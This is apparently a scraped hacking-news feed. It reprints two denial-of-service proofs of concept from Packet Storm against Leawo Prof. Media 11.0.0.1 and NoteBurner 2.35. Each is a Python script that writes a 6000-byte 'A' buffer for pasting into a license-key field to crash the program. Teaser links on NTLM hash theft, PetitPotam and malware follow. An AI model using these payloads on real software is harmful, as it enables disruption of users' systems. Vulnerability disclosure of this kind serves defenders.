Exploit Collector
Leawo Prof. Media 11.0.0.1 Denial Of Service

https://1.bp.blogspot.com/-ASAiGIAsbZo/WWlu3lcAbmI/AAAAAAAAII0/K9TarDW1B-wz0w-5-5rrjX8jWsow7QyegCLcBGAs/s1600/h100.png
Leawo Prof. Media version 11.0.0.1 suffers from a denial of service vulnerability.

MD5 | 2372bdeda3c60eb93e2b722ecd563fe9

Download
# Exploit Title: Leawo Prof. Media 11.0.0.1 - Denial of Service (DoS) (PoC)
# Date: 25.07.2021
# Vendor Homepage:https://www.leawo.org
# Software Link: https://www.leawo.org/downloads/total-media-converter-ultimate.html
# Exploit Author: Achilles
# Tested Version: 11.0.0.1
# Tested on: Windows 7 x64
# 1.- Run python code :
# 2.- Open EVIL.txt and copy content to clipboard
# 3.- Open Leawo Prof. Media
# 4.- Click Activation Center
# 5.- Paste the content of EVIL.txt into the Field: 'Keycode'
# 6.- Click 'Register' and you will see a crash.

#!/usr/bin/env python
buffer =3D "\x41" * 6000

try:
f = open("Evil.txt","w")
print "[+] Creating %s bytes evil payload.." %len(buffer)
f.write(buffer)
f.close()
print "[+] File created!"
except:
print "File cannot be created"


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
NoteBurner 2.35 Denial Of Service

https://4.bp.blogspot.com/-Nd-X_KvCLtU/WWlu3jy7alI/AAAAAAAAIIw/wd38Z8AjxRAJh0AdUZMKadOiqPJQRSLMgCLcBGAs/s1600/h101.png
NoteBurner version 2.35 suffers from a denial of service vulnerability.

MD5 | aa3389946376d9c650f5562f084b7810

Download
# Exploit Title: NoteBurner 2.35 - Denial Of Service (DoS) (PoC)
# Date: 25.07.2021
# Vendor Homepage:https://www.noteburner.com/
# Software Link: https://anonfiles.com/13h9Hb82ub/noteburner_exe
# Exploit Author: Achilles
# Tested Version: 2.35
# Tested on: Windows 7 x64
# 1.- Run python code :
# 2.- Open EVIL.txt and copy content to clipboard
# 3.- Open Noteburner
# 4.- Click More and Enter License Code
# 5.- Paste the content of EVIL.txt into the Field: 'Name' and 'Code'
# 6.- Click 'OK' and you will see a crash.

#!/usr/bin/env python
buffer = "\x41" * 6000

try:
f=open("Evil.txt","w")
print "[+] Creating %s bytes evil payload.." %len(buffer)
f.write(buffer)
f.close()
print "[+] File created!"
except:
print "File cannot be created"


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Backdoor.Win32.Agent.cu Code Execution

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Windows PrivEsc with SeBackupPrivilege

https://cdn-images-1.medium.com/max/2550/1*UJCYdSWNTKIySr1kxWU3ag.jpeg
Obtain NTLM hashes in Windows Domain Controller machines

Continue reading on R3d Buck3T »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
HacksKit, una colección de Scripts.

https://cdn-images-1.medium.com/max/2600/1*xQJcqKXc697XoT_d5VNZeA.jpeg
Como alguien que trabaja en el área de Seguridad Informática, me he encontrado con situaciones que se repiten constantemente, bajo el…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
How do we know if our smartphone was hacked?

https://cdn-images-1.medium.com/max/2600/0*IJtjOby0OUgcQfbh
Six Signs to look for.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Microsoft advierte sobre el malware LemonDuck dirigido a sistemas Windows y Linux.

https://cdn-images-1.medium.com/max/1500/0*OEHYKYFL8cKXtU32
POR EHACKING

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Who Invented the Internet?

https://cdn-images-1.medium.com/max/2600/0*cJauGc8jvISadxA_
What most of us think of as the Internet is really just the pretty face of the operation — browser windows, websites, URLs, and search…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Decode the EU Green-Pass QRCode Using Java

https://cdn-images-1.medium.com/max/2600/0*ahu6WiMtfUfH_sFy
The process is done in 4 simple steps.

Continue reading on CodeX »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
BabyEncryption Technical Analysis — Hack The Box (Cryptography)

https://cdn-images-1.medium.com/max/2600/0*vhtV6Ckt5-2cwEcg
“Hack the Box” is a really great platform for learning and gaining real-world experience within cybersecurity. Platforms like “Hack the…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Looking to Have my Site Pen Tested
https://www.reddit.com/r/Pentesting/comments/os7rzq/looking_to_have_my_site_pen_tested/

Title says it all - I'd like to have my site pen-tested to see where I'm vulnerable. Anyone have any suggestions? submitted by /u/bigapplebaum (https://www.reddit.com/user/bigapplebaum)
[link] (https://www.reddit.com/r/Pentesting/comments/os7rzq/looking_to_have_my_site_pen_tested/) [comments] (https://www.reddit.com/r/Pentesting/comments/os7rzq/looking_to_have_my_site_pen_tested/)

___________________________
@hacking_Attack
@Hacking_Video

Is PetitPotam useless without ADCS enabled?
https://www.reddit.com/r/Pentesting/comments/os81z8/is_petitpotam_useless_without_adcs_enabled/

There's a lot of hot air blowing around regarding PetitPotam and it works great for obtaining the NTLMv2 hash (good luck cracking it) for the DC without creds but without ADCS to relay to can it be abused in another way? It's an SMB connection from the DC so cannot be relayed to LDAP for RBCD . The DC machine account won't be privileged in the domain so relaying to other SMB hosts won't yield much either. submitted by /u/birotester (https://www.reddit.com/user/birotester)
[link] (https://www.reddit.com/r/Pentesting/comments/os81z8/is_petitpotam_useless_without_adcs_enabled/) [comments] (https://www.reddit.com/r/Pentesting/comments/os81z8/is_petitpotam_useless_without_adcs_enabled/)

___________________________
@hacking_Attack
@Hacking_Video